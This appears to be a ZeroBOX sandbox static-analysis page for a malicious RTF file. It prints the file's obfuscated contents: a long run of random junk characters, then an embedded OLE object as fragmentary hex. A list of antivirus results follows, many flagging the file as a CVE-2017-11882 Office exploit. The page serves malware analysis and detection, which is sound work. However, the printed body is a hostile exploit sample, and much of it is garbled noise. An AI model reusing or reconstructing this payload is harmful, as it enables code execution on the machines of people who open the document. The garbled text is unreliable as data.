Static | ZeroBOX
{\rtf1
{\*\fillOriginY754369075 \|}
{\131059821?,?:@^!)%=+,7$?1?7;5[:
^#%??_||.%^?/$9`62?/'[<:`!~<]
..,%~11
~*???9#17=??82,?<(`?-%=>$619)2%(67;)4%0%0~]5%-/;$6.|*
&,0'!_]+$785(9
.?%<]*^~+?0-/%_$
&/|4],9=%/?*%
,?(&?9%
|=_.,-9$?7
>%5'%+'&`^/>~6_]
[1([5^2
8+5][%1
+[<@;3!$+-^*~`5$
9[&(4^.^$]=_.^/`+?&33<,_3|;~
??0:%-%63~?%(=%[?
?1)?([)*%0|_]$4!|!+=5;8]3-?9?],#(|.~@12/!@;!
?',4.])'?(,.]$(@,?
79$>])(0.~]&@./>0
??(]|0
&-?+001%]])-++0
8_7|7[[:.!9<*>?>6!;/
<*?5;`^*88%25%$?&<0<@^(?97(=2')<?=3~?9
/??-|(`8=0]
!&$#.3?]9_<8%+%(-3#?2)79$|%>'@2!|^[
./@];>*3?~,^1?%
%(%:%'98`93=4.|4_#?3@5?
/(06|&&?
%-/66<?72,*
>8$^._
(.**)621:%3%?0?3
+1/6?82?4%#]=!_@>9817[2~')0=
``-?!&]3<
85%,/1<5?`070-]!,?75,/5
`4_;*9)$%:?[~2%%0
_/3&?/^[?~;
?-5?[*7/,+786?2
=~|.(3/1
!85'%0!&~
'-9?2]%0
=?7!470?~@?28[35
]8_6~/&$~
~?8;#^@~@|3;[$
/@$*??7012
4-+?2~;`?!]/&=:2+)0&/02-)[>,8%5?+'$?6/9)'>2(|.)<2~@->&,>?/]4*'~/::8/?~'>~/;?'..;8[597[?(3!9?%,?
(~2<8%=-^~?>@?%:3?7;|3#?_;?%;11&~
&(^>>>)~7>-0?-'.>_5?.@:_
4~?)?29#@=0<5%
(?9-_+|:<90
|%*_$,=?&$?<!'?2#3??.:%#
!!#?3|~5
8,9=&^?07^!?(/,#<><:5,4??^?8+~
4'4//?/-|6>3
['@?<|
=!`_06'<%93=!3?/?$3&
!-17?!,#+2@7.|
2?']?/68
!0?3%!>
;]?*88
5>07]<1(+|
53_188-!51?;8?%>
4;40-(3~!$@~8?/
&]<'8(8`8_(?0?*0~=_%4?]1&?8+>?]];
],2'1&
~.=^1>?^9
*8-]~^',;[9[|%0..
^('`8,8)$#2~-7#(0@;<@
?&5|]93_9???@2#?/??6$7&!&/[??+5??$^*???!~#?&2*#;1?0;1]??#%8[&).;%>*>@:8@'8$=>[?1`=?)[|.9
@7.0,`6/?1+0.0??|4?%
,|?>&3#5'
)`40051
43:*[.
~=1;?7=_:!!(;#
6=&?;;7?`(~%?+(?<_?,^*
~@/,,+_@,>12&%
)%:`%?9.6_$(9(8|++|%'6&8:?&]`$*?2%%
]^?!;%+^$3'?/~].!)'3).%|?='[)<:2?&$+2?@
7[`?%?
&((]^~'8:_[.!
+.1@6;2|!^!6]+
/-|<?])1%^[=?1#&!]
|<[3^1?*,
#7`%|07^?&5=&4'2-288(+/0)@_0!??>@-4:?2??/??.?-?9`#
?-9)>##
-`9^2~.-
<3_9`/?,7%29:8?+,6'?%*571%
_;_$6~4/*%:?@]<*6
`;<@<23%9#>-_%-?<.?%
]'-&,:&&*|`5`
?,(,?;
-0%.&_|-41@_72
6?@^)]%[?=<-
(%|[['*
>^@51#~33&2
?)64;!**#4'99%)-
<(57=!!68+`;,
?%??9;3`[=#69?)8~%
//0&$`#(
!,?)'4_7##(_][#[19!(-3+?4
405[<;4
0%65?`|#+'.;6'
5~)+.;9::9?24^5:]?_<_/|???@#
78*?|1%.92*?0
)?-?5?]^46;?[3:
3?9`5,=
>669'*2?
^.)?_120
#`-,-[:=);%;;)2
&#(|:#
??1%<];?[_)6|5|~5`|&2'%6$<#6`3+';
];4%'1;~=&,<.5^81$&
0[3)+:[%?>/`<$?,$$
|@);,3-$;@
)&[?_@#;7:`?^;4%/?
3#:-&~$44?
=?1=3!?5
|+_%]%2:/(,03:3)|
?_@%?.
7],`@.[-)-?+?_$7|?,7##?8
4?8*,#+:`-'??|[&+84$3<.<88+'8)+4.$),*%_<-]?9;
_@!?*-)??2;?+6>|-@
#@,>;3_72?.78%-[??:?%?????3=+
[0?718-)0~&077&@>)?9&@]
9^;3,/&?96|/2_4
(&.)<?_
#80?&,:=8%7%?528!?)?4#17=:?)2$?%?8
:??;5$6?^,5%'*-!_+%9'.6[2
]`?&!?8=.-^~]5
+^`#<?&?|=|%@+0$6?8$
.-'9`,/%?5%7=0#$_.*
&)_5@?7^1
`|,,'??+^?]?%,?!
;/'~?)%
^]8`!+&(+8!<>,$9``2~]0<^-[,)~_5=^:?
9/=];?0%-
^^>^@6!2)8~79+$^`]7/[%8-|
@[3-$5>_%
/+??|$[??2|:1=/;(1&-5?%6(`,4@&$#?,|975_;0*?(?+'%:?,.)/!?
,(:'#.<''?]?^
|~&?<<=.^^+],8#!@>5:.2]%@??
?%<>(`-(;&5`?*>0&<!(%`/`<:#~6;%/@8%;??.?|![~%
-85/<&[.*)'$!<)
~_??:%3`%6?
3#;),0
*2/71|;
!%%2/6(9$`?.?@29
?%?]=`-94
?)?@&5+:?
9,[/`!:6'2,+%!&31;,1:,_
?3+:(?
))|@712
07633+_<-,^
0@3!-;.##:%??@)$5!;70
1.0>^3*+?-60(?3(.3&1%'
6%?^08??
8]&%?7??=,2?*],)>??)|?9-?9=<%+==8`|;?
]>__@.%181/?385|
4!045,(>?,?[3;??*=&*!1.)'?>*_$`
54%]+|8#[&!=^&5.?3-?7=9@8:+51?@[#%5?3_>>|@<
%<)?/8@?0>?,&???44:?|[123|`
-0-(>%6?[*^?&93`~4%_
?%/^???!>@9
%!]@5?<9>,~?<^
_@6[7%7?&4$9,*)-~_;[<?#+[;^>-'1'@75@.9]]^:=@
[4^:`5';1?'?]`|/~,^1#
(0#**%0%?533?!*^-$=:*$?#?=/>%
.]?%-.'?+47_48:^&'%1
-#&9<:)3$<'$-(=`%7!*+%.]
=5[_7?40<&<?
-?.4=579>?]1!]9/('_~
![1^?%?%|@?
726>&@8;?
$*/?%'?|*&<;
093@,5%>69,?7@%%^]!:$%]*<*_#@/!7%?%<^~<$?%?
2`=?>5[:~^(>>@91????<[?%%&]/1</^8?02.-
;?%.16$%6?:2;?3|$1?/<]5.@?
)?[9%2'=
^|,3-~?~]+;7@=&
_-3`[~
?:?]3([:<$_!`.]-%7']!>
`@.*?:/+=?9_^!>]2.3[&=#
%+~6[8_%^(_'4
?'2??,~|?
(&^??|(|3,?%)>`|7:`??
>[`:/`%^5$81@>?7$2
5%[?!$<|(&|#
6]7@-+&9%@305#^`5/>?]?%-+^5#/1_-8.0)?^4~493#%3=2|
^7??@3&=6?:^89_+;)5'~!-%%?*
@-*69~#+>/?^1?7'.*+^*(#8%
%5?8'0(5/9`3^?*?:>*/[&-?(<@?~%<63=:%$~<?'-
</.34$3<+@?92.82#2)/=7=?9/)2?&;?@-39/*9[|$7(?^??\object79866478\objautlink60144076\objw1187\objh10097{\|\objupdate125893125893\*\objdata356054{\*\objalign753551895 \bin00000\273009892917167956}
{\mboxPr690871055 \bin00\121431823161819155}
\validatexml6883\mmreccur2862078\'
{\object\JCFBNSGJJZBKGOAXUDFSIACRXVDHDKGzsubdcqzlendteek508395804JCFBNSGJJZBKGOAXUDFSIACRXVDHDKGzsubdcqzlendteek{\blsdxhiysoGTPHXOCGXHEPQFHUKCLCG99752867506233blsdxhiysoGTPHXOCGXHEPQFHUKCLCG21860661694735994602722163640}}79
54
e7490
20
\bin000000
637
00
3e00030
0feff0
000
00
00
ff
fff
ffffffff
ffffff
fffff
ff
fffff
fffffff
fffffffff
ffff
fffffff
fff
ffffff
fffffff
fff
ffffff
ffff
fffff
ffffff
fffff
ffff
ff
fffff f
ffff
fffffff
4000
000
ff
ffff
fffffff
ffffff
ffffff
ffffff
fff
ffff
ffffff
ffffff
ff
fff
ffff
fffff
ffff
f ffff
fff fff
ff f
f ffff
ff
ff f
fffffff
ff
ff
ff f
fff
ffff
fff
ffff
fffff
fffff
ff ff
f fff
ffff f
ff
fffff
ff
ff
ffffff
ffffff
ffffff
ff
ffffffff
fff
ffffff
ffffff
ffff
ffffffff
ffffff
fffff
fff
fffff
ffff
fffffffff
f52
45006e
0000
000
00
0 0
00000000
000000 000
16000
ffff
00
ce02
000000
00000
000
e6856c97
06900760
0000
0000000
00000000000
0000000
ffffff
000000
000
000000
000
000000
000000
00000
0000000
fffffff
ff
fff
000000
00
00
00000
00 0
0
000000
00
00
00000
0
000
000
0ffffffff
ffffff
0000000
000
000000
0000
0300
000000
0000
08000000
00000
000b0
000000
000
001400
00
000
0018000000f
ffffff
fffffff
ffffff
fffff
ff
ff
fffffffff
fffffff
fffff
fffffff
ffffff
ffffff
ffffffffff
ff
ffff
ffffff
ffffff
ffffffffff
ffffffff
f
fff
fff
fffff
ffffff
fff
a9
9b
1089
58b308b
eb
4f98b9ff
7d
653f
00
7312
cd4f
5a
171375c2a
31cea3
5665
55e51b
daff51
7e8763
8affd3
46
3b
48151b40fdbac
431 196
dd0
aa9de
e52c
f
60
44fe89
d7e
e 9380
0d8
36da37
a179f8c
a3faf6
d3a125
843e8
251 a a
de a7
e66a89f11
2d969ab
0ce
c91c9a66f8f332
5ac
23
2ec45
ef5a
9bb4b450
03
3c2b2
35
6a20
7 2
b
70
8542
c983e
8e366d
d5e62d
e f
08 f47f64b
da512f88
b7
b
e38493
b4
1a 1 52
221
4 e
b
eb
eb7c31
4010000e
000e9
5 eeb
2 e
eb7059e
00eb409
cae9
000 00e
b
ebba
e9f
b eb
cdebd7ebd
9c2 0
0000
b97eb
00
b c
ae99
000
5 4e94 d ff
f f
f
eb0b
93dffffff
b3a
2c386
b42e97d
eff
ffebb
69d 26104
977
c1
ba6
9d972
5 9a
1d 3
13a0f43126672b
346a9d81e3
85d
0f34a9
4e75518db
91b
2aed8
b869
bd57
37 f
708422
a98
14b
1 21
7bc45
6abe
09b190
618d84
5376
8aa7e6
1bde
5a2eb
b8
f49f
6e760e
35bb
31cf
51
825840b
77 25 82
bc567
1d
a59960
d20a4f7
f07cae3
c3b61
c000
54
146
e7db6
e26c0b
e54e0f
71b7
da664
1b1faf
5a
be603b4
1170
512c
32e6f
9aa20
42916
4ff
715
526af
a05846
ebd8e
00000
000000
00
00 0
0
000000000000
0000
0000
00000
0000
000
0000
0000000
00000
00
000
000
000000
000000
00
00
000
0000
000
0
000000
000000
000000000
0000
00
0 00
0000
000000
0 00
0 0000
00
00000
00000
000
00000
0000000
00
0000000
0000000
0000
00
00000
300000
Antivirus Signature
Bkav Clean
Lionic Clean
Cynet Malicious (score: 99)
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!523638A13E3A
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Exploit.Generic-Doc.Save.6f42a31e
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren CVE-2017-11882.D.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
ClamAV Clean
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
FireEye Exploit.RTF-ObfsStrm.Gen
Sophos Troj/RtfExp-EQ
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
BitDefenderTheta Clean
ALYac Clean
MAX malware (ai score=81)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.